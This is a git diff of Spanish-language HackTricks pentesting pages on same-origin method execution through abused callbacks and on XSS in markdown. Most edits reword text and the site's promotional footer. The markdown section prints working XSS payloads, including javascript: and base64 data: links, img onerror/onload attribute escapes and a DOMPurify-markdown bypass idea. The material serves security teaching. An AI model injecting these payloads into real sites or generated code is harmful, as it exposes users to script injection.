**callback que puedas abusar** (potencialmente limitado a \[\w\\.\_]). - * Si no está limitado y puedes ejecutar cualquier JS, podrías simplemente abusar de esto como un XSS regular. +* Si no está limitado y puedes ejecutar cualquier JS, simplemente podrías abusar de esto como un XSS regular. * Haz que la **víctima abra una página** controlada por el **atacante**. -* La **página se abrirá a sí misma** en una **ventana diferente** (la nueva ventana tendrá el objeto **`opener`** haciendo referencia a la inicial). +* La **página se abrirá** en una **ventana diferente** (la nueva ventana tendrá el objeto **`opener`** haciendo referencia a la inicial). * La **página inicial** cargará la **página** donde se encuentra el **DOM interesante**. * La **segunda página** cargará la **página vulnerable abusando del callback** y usando el objeto **`opener`** para **acceder y ejecutar alguna acción en la página inicial** (que ahora contiene el DOM interesante). {% hint style="danger" %} Ten en cuenta que incluso si la página inicial accede a una nueva URL después de haber creado la segunda página, el **objeto `opener` de la segunda página sigue siendo una referencia válida a la primera página en el nuevo DOM**. -Además, para que la segunda página pueda usar el objeto opener, **ambas páginas deben estar en el mismo origen**. Esta es la razón por la que, para abusar de esta vulnerabilidad, necesitas encontrar algún tipo de **XSS en el mismo origen**. +Además, para que la segunda página pueda usar el objeto opener, **ambas páginas deben estar en el mismo origen**. Esta es la razón por la cual, para abusar de esta vulnerabilidad, necesitas encontrar algún tipo de **XSS en el mismo origen**. {% endhint %} ### Explotación @@ -43,9 +43,21 @@ Además, para que la segunda página pueda usar el objeto opener, **ambas págin ### Ejemplo * Puedes encontrar un ejemplo vulnerable en [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) - * Ten en cuenta que en este ejemplo el servidor está **generando código javascript** y **añadiéndolo** al HTML basado en el **contenido del parámetro de devolución de llamada:** `` . Es por eso que en este ejemplo no necesitas indicar el uso de `opener` explícitamente. -* También revisa esta solución de CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) +* Ten en cuenta que en este ejemplo, el servidor está **generando código JavaScript** y **añadiéndolo** al HTML basado en el **contenido del parámetro de devolución de llamada:** ``. Por eso, en este ejemplo no es necesario indicar el uso de `opener` explícitamente. +* También revisa este análisis de CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) ## Referencias -* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/) +* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/) + +
+ +☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al **grupo de telegram** o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index 208cd59b5..b329d4475 100644 --- a/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -5,9 +5,9 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. @@ -16,7 +16,7 @@ Si tienes la oportunidad de inyectar código en markdown, hay algunas opciones q ### Etiquetas HTML -La forma más común de obtener XSS en markdown es inyectar etiquetas HTML comunes que ejecutan javascript, porque varios intérpretes de markdown también aceptarán HTML. +La forma más común de obtener XSS en markdown es inyectar etiquetas HTML comunes que ejecutan javascript, porque varios intérpretes de markdown también aceptarán HTML ```html @@ -41,34 +41,28 @@ Si las etiquetas HTML no son una opción, siempre puedes intentar jugar con la s [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:window.onerror=alert;throw%201) ``` -### Abuso de la sintaxis de eventos de Img +### Abuso de sintaxis de evento Img ```markdown ![Uh oh...]("onerror="alert('XSS')) ![Uh oh...](https://www.example.com/image.png"onload="alert('XSS')) ![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad')) ![Escape SRC - onerror]("onerror="alert('ImageOnError')) ``` -### Bypass del sanitizador HTML en Markdown +### Bypass de Markdown del Sanitizador HTML -El siguiente código está **sanitizando la entrada HTML** y luego **pasándola al analizador de Markdown**, por lo que se puede desencadenar un XSS abusando de las malinterpretaciones entre Markdown y DOMPurify +El siguiente código está **sanitizando la entrada HTML** y luego **pasándola al analizador de markdown**, luego, se puede desencadenar XSS abusando de las malas interpretaciones entre Markdown y DOMPurify ```html + ``` -Ejemplo de payloads: - -- `` -- `">` -- `">` -- `">` -- `">` -- `">